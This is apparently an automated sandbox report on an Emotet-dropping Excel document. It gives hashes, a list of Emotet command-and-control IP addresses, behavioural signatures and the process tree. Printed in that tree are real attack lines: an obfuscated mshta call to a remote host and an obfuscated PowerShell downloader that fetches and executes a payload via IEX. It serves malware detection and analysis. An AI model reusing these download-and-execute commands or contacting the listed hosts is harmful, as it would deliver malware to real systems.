Analysis
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max time kernel
128s -
max time network
151s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 03:22
Behavioral task
behavioral1
Sample
tmpl9euth97.xls
Resource
win7-en-20211208
General
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Target
tmpl9euth97.xls
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Size
36KB
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MD5
9342a9c854c12a09411baabd5419f678
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SHA1
e0667f1e6915aff11ba4f959c3a3a1c60688be07
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SHA256
318929b7f9ae310674e0ec0a095f9ea1866f4c439e056b5b67e7d8d84e019fd5
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SHA512
62585e264a5a26722e6aed155656bbfcf05e72ab3eb6f0992e2b6bedd7ca2f15a3ab98f17fb64dd56973594c5e8b3d36fd662e03248e2680be7ce2145d2f6e3e
Malware Config
Extracted
http://91.240.118.168/oo/aa/se.html
Extracted
http://91.240.118.168/oo/aa/se.png
Extracted
emotet
Epoch5
159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3312 380 CMD.EXE EXCEL.EXE -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 39 2144 mshta.exe 42 1856 powershell.exe 44 1856 powershell.exe 46 1856 powershell.exe 55 2824 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1208 rundll32.exe 2220 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Wwfqwv\hqtteuj.rfr rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3188 2144 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 380 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 1856 powershell.exe 1856 powershell.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 1856 powershell.exe 2824 rundll32.exe 2824 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 1856 powershell.exe Token: SeDebugPrivilege 3188 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE 380 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 380 wrote to memory of 3312 380 EXCEL.EXE CMD.EXE PID 380 wrote to memory of 3312 380 EXCEL.EXE CMD.EXE PID 3312 wrote to memory of 2144 3312 CMD.EXE mshta.exe PID 3312 wrote to memory of 2144 3312 CMD.EXE mshta.exe PID 2144 wrote to memory of 1856 2144 mshta.exe powershell.exe PID 2144 wrote to memory of 1856 2144 mshta.exe powershell.exe PID 1856 wrote to memory of 1604 1856 powershell.exe cmd.exe PID 1856 wrote to memory of 1604 1856 powershell.exe cmd.exe PID 1604 wrote to memory of 1208 1604 cmd.exe rundll32.exe PID 1604 wrote to memory of 1208 1604 cmd.exe rundll32.exe PID 1604 wrote to memory of 1208 1604 cmd.exe rundll32.exe PID 1208 wrote to memory of 2220 1208 rundll32.exe rundll32.exe PID 1208 wrote to memory of 2220 1208 rundll32.exe rundll32.exe PID 1208 wrote to memory of 2220 1208 rundll32.exe rundll32.exe PID 2220 wrote to memory of 2964 2220 rundll32.exe rundll32.exe PID 2220 wrote to memory of 2964 2220 rundll32.exe rundll32.exe PID 2220 wrote to memory of 2964 2220 rundll32.exe rundll32.exe PID 2964 wrote to memory of 2824 2964 rundll32.exe rundll32.exe PID 2964 wrote to memory of 2824 2964 rundll32.exe rundll32.exe PID 2964 wrote to memory of 2824 2964 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpl9euth97.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/oo/aa/se.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wwfqwv\hqtteuj.rfr",cmhniuQzgFlTFp8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wwfqwv\hqtteuj.rfr",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2144 -s 16564⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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\ProgramData\QWER.dllMD5
1fd4499e393eb2bae9ff1d58d4669c06
SHA1dfa462ad52abf4edcc904edc3943e1573905bcbd
SHA256a65662042685f530da46a94c8dc4b33248e682de80804764516957738d6381aa
SHA5128a9aab40441cc91cbf5b70d69456d41ef2420f98c22ef7842edbf3088f62468f0b3fcb9ab4bd784c33ef908725e3db4e15a02814507f7a9b5c0e1c289dc94663
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memory/380-129-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmpFilesize
64KB
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memory/380-119-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-128-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmpFilesize
64KB
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memory/380-115-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-404-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-403-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-402-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-401-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-118-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-117-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/380-116-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmpFilesize
64KB
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memory/1208-336-0x00000000048F0000-0x0000000004917000-memory.dmpFilesize
156KB
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memory/1856-280-0x000001FD55DC0000-0x000001FD55DE2000-memory.dmpFilesize
136KB
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memory/1856-317-0x000001FD55FB6000-0x000001FD55FB8000-memory.dmpFilesize
8KB
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memory/1856-282-0x000001FD55FB3000-0x000001FD55FB5000-memory.dmpFilesize
8KB
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memory/1856-281-0x000001FD55FB0000-0x000001FD55FB2000-memory.dmpFilesize
8KB
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memory/1856-301-0x000001FD55F60000-0x000001FD55F9C000-memory.dmpFilesize
240KB
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memory/1856-312-0x000001FD6E610000-0x000001FD6E686000-memory.dmpFilesize
472KB
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memory/2220-356-0x0000000004BD0000-0x0000000004BF7000-memory.dmpFilesize
156KB
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memory/2220-350-0x0000000004A50000-0x0000000004A77000-memory.dmpFilesize
156KB
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memory/2220-348-0x00000000049F0000-0x0000000004A17000-memory.dmpFilesize
156KB
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memory/2220-346-0x0000000004990000-0x00000000049B7000-memory.dmpFilesize
156KB
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memory/2220-343-0x0000000001150000-0x0000000001177000-memory.dmpFilesize
156KB
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memory/2220-341-0x0000000001070000-0x0000000001097000-memory.dmpFilesize
156KB
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memory/2824-357-0x0000000000720000-0x0000000000747000-memory.dmpFilesize
156KB
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memory/2824-359-0x0000000000D40000-0x0000000000D67000-memory.dmpFilesize
156KB
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memory/2824-362-0x0000000004600000-0x0000000004627000-memory.dmpFilesize
156KB